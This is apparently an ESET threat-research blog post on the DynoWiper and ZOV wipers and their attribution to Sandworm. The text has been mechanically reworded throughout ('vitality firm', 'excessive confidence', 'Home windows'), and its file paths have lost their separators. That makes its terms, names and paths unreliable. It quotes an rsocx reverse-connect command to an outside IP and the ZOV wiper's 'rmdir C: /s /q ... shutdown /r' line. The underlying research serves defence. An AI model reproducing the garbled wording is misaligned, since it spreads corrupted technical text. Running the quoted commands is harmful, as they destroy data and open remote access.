DynoWiper replace: Technical evaluation and attribution

On this weblog put up, we offer extra technical particulars associated to our earlier DynoWiper publication.

Key factors of the report:

• ESET researchers recognized new data-wiping malware that now we have named DynoWiper, used in opposition to an vitality firm in Poland.
• The techniques, strategies, and procedures (TTPs) noticed through the DynoWiper incident intently resemble these seen earlier this 12 months in an incident involving the ZOV wiper in Ukraine: Z, O, and V are Russian navy symbols.
• We attribute DynoWiper to Sandworm with medium confidence, in distinction to the ZOV wiper, which we attribute to Sandworm with excessive confidence.

Sandworm profile

Sandworm is a Russia-aligned risk group that performs harmful assaults. It’s largely recognized for its assaults in opposition to Ukrainian vitality firms in 2015-12 and 2016-12, which resulted in energy outages. In 2017-06 Sandworm launched the NotPetya data-wiping assault that used a supply-chain vector by compromising the Ukrainian accounting software program M.E.Doc. In 2018-02, Sandworm launched the Olympic Destroyer data-wiping assault in opposition to organizers of the 2018 Winter Olympics in Pyeongchang.

The Sandworm group makes use of such superior malware as Industroyer, which is ready to talk with gear at vitality firms by way of industrial management protocols. In 2022-04, CERT-UA thwarted an assault in opposition to an vitality firm in Ukraine the place the Sandworm group tried to deploy a brand new variant of this malware, Industroyer2.

In 2020-10, the US Division of Justice revealed an indictment in opposition to six Russian pc hackers that it alleges ready and carried out numerous Sandworm assaults. The group is often attributed to Unit 74455 of the Russian Important Intelligence Directorate (GRU).

Historical past of Sandworm’s harmful operations

Sandworm is a risk actor recognized for conducting harmful cyberattacks, concentrating on a variety of entities together with authorities companies, logistics firms, transportation companies, vitality suppliers, media organizations, grain sector firms, and telecommunications firms. These assaults usually contain the deployment of wiper malware – malicious software program designed to delete recordsdata, erase information, and render methods unbootable.

Its operators have an extended historical past of conducting such cyberattacks, and now we have documented their exercise extensively. On this blogpost, we concentrate on their current operations involving data-wiping malware.

To evade detections by safety merchandise, Sandworm usually modifies the harmful malware it deploys – generally by introducing minor adjustments or by producing newly compiled variants from the unique supply code, and different instances by abandoning a specific wiper altogether and switching to a completely new malware household for its operations. We not often see Sandworm try and deploy a harmful malware pattern that was utilized in an earlier assault (for instance, one with a recognized hash) or one that’s already detected on the time of deployment.

Since February 2022, now we have been completely monitoring incidents involving harmful malware and have publicly documented our findings in stories reminiscent of A 12 months of wiper assaults in Ukraine. Over time, Sandworm has deployed a variety of harmful malware households, together with, in roughly chronological order, HermeticWiper, HermeticRansom, CaddyWiper, DoubleZero, ARGUEPATCH, ORCSHRED, SOLOSHRED, AWFULSHRED, Status ransomware, RansomBoggs ransomware, SDelete-based wipers, BidSwipe, ROARBAT, SwiftSlicer, NikoWiper, SharpNikoWiper, ZEROLOT, Sting wiper, and ZOV wiper. It must be famous that a few of these malware households have been deployed a number of instances throughout a lot of incidents. In 2025, ESET investigated greater than 10 incidents involving harmful malware attributed to Sandworm, virtually all of them occurring in Ukraine.

We repeatedly improve our merchandise to enhance early detection of Sandworm operations – ideally figuring out exercise earlier than harmful wipers are deployed, and every time attainable stopping harm even when beforehand unknown harmful malware is executed. As a result of nearly all of Sandworm’s cyberattacks at the moment goal Ukraine, we collaborate intently with our Ukrainian companions, together with the Pc Emergency Response Workforce of Ukraine (CERT-UA), to help each prevention and remediation efforts.

In addition to Ukraine, Sandworm has a decade-long historical past of concentrating on firms in Poland, together with these within the vitality sector. Usually, these operations have been carried out covertly for cyberespionage functions, as seen within the BlackEnergy and GreyEnergy circumstances. Notably, we detected the primary deployment of GreyEnergy malware at a Polish vitality firm again in 2015.

Nevertheless, for the reason that begin of Russia’s full-scale invasion of Ukraine, Sandworm has modified its techniques concerning targets in Poland. Particularly, in October 2022, it carried out a harmful assault in opposition to logistics firms in each Ukraine and Poland, disguising the operation as a Status ransomware incident. Microsoft Risk Intelligence reported on the Status ransomware incidents, which they attributed to Seashell Blizzard (aka Sandworm). At ESET, we detected the Status ransomware household and publicly attributed this exercise to Sandworm.

In December 2025, we detected the deployment of a harmful malware pattern, which we named DynoWiper, at an vitality firm in Poland. The put in EDR/XDR product, ESET PROTECT, blocked execution of the wiper, considerably limiting its impression within the setting. On this blogpost, we reveal further particulars about this exercise and description our attribution course of.

CERT Polska did a superb job investigating the incident and revealed an in depth evaluation in a report obtainable on its web site.

DynoWiper

On December 29^th, 2025, DynoWiper samples have been deployed to the C:inetpubpub listing, which is probably going a shared listing within the sufferer’s area, with the next filenames: schtask.exe, schtask2.exe, and _update.exe. The schtask*.exe samples comprise the PDB path C:UsersvagrantDocumentsVisual Studio 2013ProjectsSourceReleaseSource.pdb. The username vagrant corresponds to a device known as Vagrant, which can be utilized to handle digital machines. This implies that the machine that was used to construct the wiper is a Vagrant field or, extra possible, a number system that manages digital machines utilizing Vagrant. It’s subsequently attainable that Sandworm operators first examined the operation on digital machines earlier than deploying the malware within the goal group.

The attackers initially deployed _update.exe (PE timestamp: 2025‑12‑26 13:51:11). When this try failed, they modified the wiper code, constructed it, after which deployed schtask.exe (PE timestamp: 2025‑12‑29 13:17:06). This try additionally appears to have been unsuccessful, in order that they rebuilt the wiper with barely modified code, leading to schtask2.exe (PE timestamp: 2025‑12‑29 14:10:07). It’s possible that even this closing try failed. All three samples have been deployed on the identical day – December 29^th, 2025. ESET PROTECT was put in on the focused machines and seems to have interfered with the execution of all three variants.

DynoWiper’s workflow may be divided into three distinct phases, that are described later within the textual content. The schtask*.exe samples embody solely the primary two phases and introduce a five-second delay between them. In distinction, _update.exe implements all three phases and doesn’t embody the five-second delay.

The wiper overwrites recordsdata utilizing a 16-byte buffer that incorporates random information generated as soon as firstly of the wiper’s execution. Recordsdata of measurement 16 bytes or fewer are totally overwritten, with smaller recordsdata being prolonged to 16 bytes. To hurry up the destruction course of, different recordsdata (bigger than 16 bytes) have just some components of their contents overwritten.

Through the first part, the malware recursively wipes recordsdata on all detachable and stuck drives, excluding particular directories (utilizing case-insensitive comparability):

• system32
• home windows
• program recordsdata
• program recordsdata(x86) (an area is lacking earlier than the open bracket)
• temp
• recycle.bin
• $recycle.bin
• boot
• perflogs
• appdata
• paperwork and settings

For _update.exe and schtask.exe, the second part behaves equally, however this time the beforehand excluded directories should not skipped within the root listing (e.g., C:). In consequence, a path like C:Home windows is not excluded, whereas C:WindowsSystem32 nonetheless is. For schtask2.exe, within the second part, all recordsdata and directories on detachable and stuck drives are eliminated by way of the DeleteFileW API with out skipping any directories, and with out overwriting recordsdata.

The third part forces the system to reboot, finishing the destruction of the system.

In contrast to Industroyer and Industroyer2, the found DynoWiper samples focus solely on the IT setting, with no noticed performance concentrating on OT (operational expertise) industrial parts. Nevertheless, this doesn’t exclude the likelihood that such capabilities have been current elsewhere within the assault chain.

Different instruments deployed

We recognized further instruments used throughout the identical community previous to deployment of the wiper.

In early phases of the assault, attackers tried to obtain the publicly obtainable Rubeus device. The next path was used: c:customersdownloadsrubeus.exe.

In early December 2025, attackers tried to dump the LSASS course of utilizing Home windows Activity Supervisor. Moreover, they tried to obtain and launch a publicly obtainable SOCKS5 proxy device known as rsocx. The attackers tried to execute this proxy in reverse-connect mode utilizing the command line C:CustomersDownloadsr.exe -r 31.172.71[.]5:8008. This server is utilized by ProGame (progamevl[.]ru), a programming college for teenagers in Vladivostok, Russia, and was possible compromised.

ZOV wiper

We recognized a number of similarities to beforehand recognized harmful malware, particularly to the wiper now we have named ZOV, which we attribute to Sandworm with excessive confidence. DynoWiper operates in a broadly related trend to the ZOV wiper. Notably, the exclusion of sure directories and particularly the clear separate logic current within the code for wiping smaller and bigger recordsdata will also be discovered within the ZOV wiper.

ZOV is harmful malware that we detected being deployed in opposition to a monetary establishment in Ukraine in November 2025.

As soon as executed, the ZOV wiper iterates over recordsdata on all mounted drives and wipes them by overwriting their contents. It skips recordsdata in these directories:

• $Recycle.Bin
• AppData
• Software Knowledge
• Program Recordsdata
• Program Recordsdata (x86)
• Temp
• Home windows
• Home windows.previous

How a file is wiped is dependent upon its measurement. To destroy information as rapidly as attainable, recordsdata smaller than 4,098 bytes have their whole contents overwritten; bigger recordsdata have just some components of their contents overwritten. The buffer, which is repeatedly written to recordsdata, is of measurement 4,098 bytes, and begins with the string ZOV (referring to the Russian navy symbols) adopted by null bytes.

After finishing this fast wipe, it prints what number of directories and recordsdata have been wiped, and runs the shell command time /t & ver & rmdir C: /s /q && dir && shutdown /r (print present native time and Home windows model, erase the contents of the C: drive, record the present working listing, and initiates a system reboot).

Proper earlier than exiting, the wiper drops a picture from its sources to %appdatapercentLocWall.jpg and units it because the desktop background. As proven in Determine 1, the wallpaper additionally has the ZOV image.

There was one other ZOV wiper case at an vitality firm in Ukraine, the place the attackers deployed the wiper on January 25^th, 2024. Within the noticed pattern, the buffer that’s written to recordsdata doesn’t comprise the ZOV image. As an alternative, it incorporates the only character P adopted by null bytes. Additionally, the textual content within the dropped picture (see Determine 2) resembles a ransom observe however refers to a nonexistent Bitcoin handle.

Harmful malware deployment strategies

Sandworm usually abuses Energetic Listing Group Coverage to deploy its data-wiping malware throughout all machines inside a compromised community. Group-wide GPO deployment typically requires Area Admin privileges and is usually staged from a website controller. This exercise underscores Sandworm’s sophistication and its confirmed potential to acquire high-privilege Energetic Listing entry throughout many intrusions.

Through the incident response to the Industroyer2 assault in April 2022, CERT‑UA found a PowerShell script they named POWERGAP. Sandworm had been utilizing this script continuously to deploy numerous data-wiping malware throughout a number of organizations. Later, in November 2022, ESET researchers discovered that the identical script had been used to distribute the RansomBoggs ransomware in Ukraine. Nevertheless, in some unspecified time in the future Sandworm stopped utilizing this deployment script, but continued deploying harmful malware by way of Energetic Listing Group Coverage.

Apparently, through the evaluation of the ZOV wiper incident, we recognized a more recent PowerShell script used to deploy the ZOV wiper. This script incorporates hardcoded variables particular to the sufferer’s setting, together with the area controller identify, area identify, Group Coverage Object (GPO) identify, deployed filename, file path, GPO hyperlink string, and scheduled activity identify. As soon as executed, the script performs all crucial actions to distribute the malicious binary to customers and computer systems throughout the complete area.

Extra considerably, a deployment script with very related performance, however with out sturdy code similarity, was found getting used to deploy the DynoWiper malware in a Polish vitality firm. In that case, nonetheless, the malicious binary was not distributed to particular person computer systems however was as a substitute executed immediately from a shared community listing.

As talked about above, operations of this data-wiping nature generally require a risk actor to own Area Admin privileges. As soon as a risk actor reaches this degree of entry, defending the setting turns into extraordinarily tough, as they will carry out practically any motion throughout the area. Some organizations, significantly within the vitality sector, additionally deliberately phase or isolate components of their IT/OT environments to satisfy operational and security necessities. Whereas this isolation may be an acceptable risk-management selection, it usually reduces defender visibility and might gradual proof assortment and response workflows, which in flip can complicate incident investigation and lead to lower-confidence attribution.

Attribution

We attribute DynoWiper to Sandworm with medium confidence. The next elements help our evaluation:

• There’s a sturdy overlap between the TTPs noticed on this exercise and people usually related to Sandworm operations. Particularly, the usage of data-wiping malware and its deployment by way of Energetic Listing Group Coverage are each strategies generally employed by Sandworm. As described above, we recognized similarities in each the wipers used and the Group Coverage deployment script when evaluating this case to earlier Sandworm exercise.
• The focused business aligns with Sandworm’s typical pursuits. This group continuously targets vitality firms and has a confirmed monitor report of attacking OT environments.
• Traditionally, Sandworm has focused Polish vitality firms for cyberespionage functions, utilizing the BlackEnergy and GreyEnergy malware households.
• We aren’t conscious of another just lately energetic risk actors which have used data-wiping malware of their operations in opposition to targets in European Union nations.

The next elements contradict a Sandworm attribution:

Though Sandworm has beforehand focused firms in Poland, it usually did so covertly – both for cyberespionage functions solely or by disguising its data-wiping exercise as a ransomware assault, reminiscent of within the Status ransomware incidents. It’s price noting that we solely attribute the data-wiping part of this exercise to Sandworm with medium confidence. We don’t have visibility into the preliminary entry technique used on this incident and subsequently can’t assess how or by whom the primary steps have been carried out. Particularly, the preparatory phases main as much as the harmful exercise might have been carried out by one other risk actor group collaborating with Sandworm. Notably, in 2025 we noticed and confirmed that the UAC‑0099 group carried out preliminary entry operations in opposition to targets in Ukraine and subsequently handed off validated targets to Sandworm for follow-up exercise.

Conclusion

This incident represents a uncommon and beforehand unseen case by which a Russia-aligned risk actor deployed harmful, data-wiping malware in opposition to an vitality firm in Poland.

For any inquiries about our analysis revealed on WeLiveSecurity, please contact us at threatintel@eset.com. 

ESET Analysis provides personal APT intelligence stories and information feeds. For any inquiries about this service, go to the ESET Risk Intelligence web page.

IoCs

Community

MITRE ATT&CK strategies

This desk was constructed utilizing model 18 of the MITRE ATT&CK framework.